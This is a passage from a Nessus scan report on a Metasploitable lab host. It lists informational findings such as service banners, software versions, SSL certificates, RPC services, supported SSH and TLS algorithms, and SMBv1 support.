the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SinFP:
   P1:B10113:F0x12:W5840:O0204ffff:M1460:
   P2:B10113:F0x12:W5792:O0204ffff0402080affffffff4445414401030307:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:190801_7_p=2121
SMTP:!:220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
SSLcert:!:i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple
 Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
 Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple Affairss/
CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
```

```
The remote host is running Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
```

181418 - OpenSSH Detection

Synopsis

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

https://www.openssh.com/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/09/14, Modified: 2024/03/27

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 4.7p1
Banner  : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
```

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

https://www.openssl.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/25/smtp

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

https://www.openssl.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/5432/postgresql

48243 - PHP Version Detection

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2022/10/12

Plugin Output

tcp/80/www

```
Nessus was able to identify the following PHP version information :

  Version : 5.2.4-2ubuntu5.10
  Source  : X-Powered-By: PHP/5.2.4-2ubuntu5.10
```

118224 - PostgreSQL STARTTLS Support

Synopsis

The remote service supports encrypting traffic.

Description

The remote PostgreSQL server supports the use of encryption initiated during pre-login to switch from a cleartext to an encrypted communications channel.

See Also

https://www.postgresql.org/docs/9.2/protocol-flow.html#AEN96066

https://www.postgresql.org/docs/9.2/protocol-message-formats.html

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/10/19, Modified: 2022/04/11

Plugin Output

tcp/5432/postgresql

```
Here is the PostgreSQL's SSL certificate that Nessus
was able to collect after sending a pre-login packet :

------------------------------ snip ------------------------------
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75


------------------------------ snip ------------ [...]
```

26024 - PostgreSQL Server Detection

Synopsis

A database service is listening on the remote host.

Description

The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB.

See Also

https://www.postgresql.org/

Solution

Limit incoming traffic to this port if desired.

Risk Factor

None

Plugin Information

Published: 2007/09/14, Modified: 2023/05/24

Plugin Output

tcp/5432/postgresql

22227 - RMI Registry Detection

Synopsis

An RMI registry is listening on the remote host.

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html

http://www.nessus.org/u?b6fd7659

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/08/16, Modified: 2022/06/01

Plugin Output

tcp/1099/rmi_registry
tcp/1099/rmi_registry

```
Valid response recieved for port 1099:
0x00:  51 AC ED 00 05 77 0F 01 0C 67 1F A8 00 00 01 8E    Q....w...g......
0x10:  80 C1 F7 8E 80 00 75 72 00 13 5B 4C 6A 61 76 61    ......ur..[Ljava
0x20:  2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56    .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00       ...{G...pxp....
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/111/rpc-portmapper

```
The following RPC services are available on TCP port 111 :

 - program: 100000 (portmapper), version: 2
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/111/rpc-portmapper

```
The following RPC services are available on UDP port 111 :

 - program: 100000 (portmapper), version: 2
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/2049/rpc-nfs

```
The following RPC services are available on TCP port 2049 :

 - program: 100003 (nfs), version: 2
 - program: 100003 (nfs), version: 3
 - program: 100003 (nfs), version: 4
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/2049/rpc-nfs

```
The following RPC services are available on UDP port 2049 :

 - program: 100003 (nfs), version: 2
 - program: 100003 (nfs), version: 3
 - program: 100003 (nfs), version: 4
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/33757/rpc-status

```
The following RPC services are available on UDP port 33757 :

 - program: 100024 (status), version: 1
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/39910/rpc-mountd

```
The following RPC services are available on TCP port 39910 :

 - program: 100005 (mountd), version: 1
 - program: 100005 (mountd), version: 2
 - program: 100005 (mountd), version: 3
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/41294/rpc-mountd

```
The following RPC services are available on UDP port 41294 :

 - program: 100005 (mountd), version: 1
 - program: 100005 (mountd), version: 2
 - program: 100005 (mountd), version: 3
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/53305/rpc-status

```
The following RPC services are available on TCP port 53305 :

 - program: 100024 (status), version: 1
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/54936/rpc-nlockmgr

```
The following RPC services are available on TCP port 54936 :

 - program: 100021 (nlockmgr), version: 1
 - program: 100021 (nlockmgr), version: 3
 - program: 100021 (nlockmgr), version: 4
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/56018/rpc-nlockmgr

```
The following RPC services are available on UDP port 56018 :

 - program: 100021 (nlockmgr), version: 1
 - program: 100021 (nlockmgr), version: 3
 - program: 100021 (nlockmgr), version: 4
```

53335 - RPC portmapper (TCP)

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/04/08, Modified: 2011/08/29

Plugin Output

tcp/111/rpc-portmapper

10223 - RPC portmapper Service Detection

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:N)

References

CVE	CVE-1999-0632

Plugin Information

Published: 1999/08/19, Modified: 2019/10/04

Plugin Output

udp/111/rpc-portmapper

10263 - SMTP Server Detection

Synopsis

An SMTP server is listening on the remote port.

Description

The remote host is running a mail (SMTP) server on this port.

Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it.

Solution

Disable this service if you do not use it, or filter incoming traffic to this port.

Risk Factor

None

References

XREF IAVT:0001-T-0932

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/25/smtp

```
Remote SMTP server banner :

220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

42088 - SMTP Service STARTTLS Command Support

Synopsis

The remote mail service supports encrypting traffic.

Description

The remote SMTP service supports the use of the 'STARTTLS' command to switch from a cleartext to an encrypted communications channel.

See Also

https://en.wikipedia.org/wiki/STARTTLS

https://tools.ietf.org/html/rfc2487

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/09, Modified: 2019/03/20

Plugin Output

tcp/25/smtp

```
Here is the SMTP service's SSL certificate that Nessus was able to
collect after sending a 'STARTTLS' command :

------------------------------ snip ------------------------------
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

------------------------------ snip --------- [...]
```

70657 - SSH Algorithms and Languages Supported

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2017/08/28

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm with the server :

The server supports the following options for kex_algorithms :

  diffie-hellman-group-exchange-sha1
  diffie-hellman-group-exchange-sha256
  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1

The server supports the following options for server_host_key_algorithms :

  ssh-dss
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server :

  3des-cbc
  aes128-cbc
  aes128-ctr
  aes192-cbc
  aes192-ctr
  aes256-cbc
  aes256-ctr
  arcfour
  arcfour128
  arcfour256
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se
```

```
The server supports the following options for encryption_algorithms_server_to_client :

  3des-cbc
  aes128-cbc
  aes128-ctr
  aes192-cbc
  aes192-ctr
  aes256-cbc
  aes256-ctr
  arcfour
  arcfour128
  arcfour256
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se

The server supports the following options for mac_algorithms_client_to_server :

  hmac-md5
  hmac-md5-96
  hmac-ripemd160
  hmac-ripemd160@openssh.com
  hmac-sha1
  hmac-sha1-96
  umac-64@openssh.com

The server supports the following options for mac_algorithms_server_to_client :

  hmac-md5
  hmac-md5-96
  hmac-ripemd160
  hmac-ripemd160@openssh.com
  hmac-sha1
  hmac-sha1-96
  umac-64@openssh.com

The server supports the following options for compression_algorithms_client_to_server :

  none
  zlib@openssh.com

The server supports the following options for compression_algorithms_server_to_client :

  none
  zlib@openssh.com
```

149334 - SSH Password Authentication Accepted

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

https://tools.ietf.org/html/rfc4252#section-8

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2021/01/19

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
```

153588 - SSH SHA-1 HMAC Algorithms Enabled

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are
 supported :

  hmac-sha1
  hmac-sha1-96

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are
 supported :

  hmac-sha1
  hmac-sha1-96
```

10267 - SSH Server Type and Version Information

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SSH supported authentication : publickey,password
```

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/25/smtp

```
This port supports SSLv2/SSLv3/TLSv1.0.
```

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/5432/postgresql

```
This port supports SSLv3/TLSv1.0.
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
The host name known by Nessus is :

  metasploitable

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

```
The host name known by Nessus is :

  metasploitable

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                     83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                     83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

62563 - SSL Compression Methods Supported

Synopsis

The remote service supports one or more compression methods for SSL connections.

Description

This script detects which compression methods are supported by the remote service for SSL connections.

See Also

http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml

https://tools.ietf.org/html/rfc3749

https://tools.ietf.org/html/rfc3943

https://tools.ietf.org/html/rfc5246

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

Plugin Output

tcp/25/smtp

```
Nessus was able to confirm that the following compression method is
supported by the target :

  DEFLATE (0x01)
```

62563 - SSL Compression Methods Supported

Synopsis

The remote service supports one or more compression methods for SSL connections.

Description

This script detects which compression methods are supported by the remote service for SSL connections.

See Also

http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml

https://tools.ietf.org/html/rfc3749

https://tools.ietf.org/html/rfc3943

https://tools.ietf.org/html/rfc5246

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

Plugin Output

tcp/5432/postgresql

```
Nessus was able to confirm that the following compression method is
supported by the target :

  DEFLATE (0x01)
```

25240 - Samba Server Detection

Synopsis

An SMB server is running on the remote host.

Description

The remote host is running Samba, a CIFS/SMB server for Linux and Unix.

See Also

https://www.samba.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2022/10/12

Plugin Output

tcp/445/cifs

104887 - Samba Version

Synopsis

It was possible to obtain the samba version from the remote operating system.

Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote Samba Version is : Samba 3.0.20-Debian
```

96982 - Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)

Synopsis

The remote Windows host supports the SMBv1 protocol.

Description

The remote Windows host supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, the Shadow Brokers group reportedly has an exploit that affects SMB; however, it is unknown if the exploit affects SMBv1 or another version. In response to this, US-CERT recommends that users disable SMBv1 per SMB best practices to mitigate these potential issues.

See Also

https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/

https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Risk Factor

None

References

XREF IAVT:0001-T-0710

Plugin Information

Published: 2017/02/03, Modified: 2020/09/22

Plugin Output

tcp/445/cifs

```
The remote host supports SMBv1.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

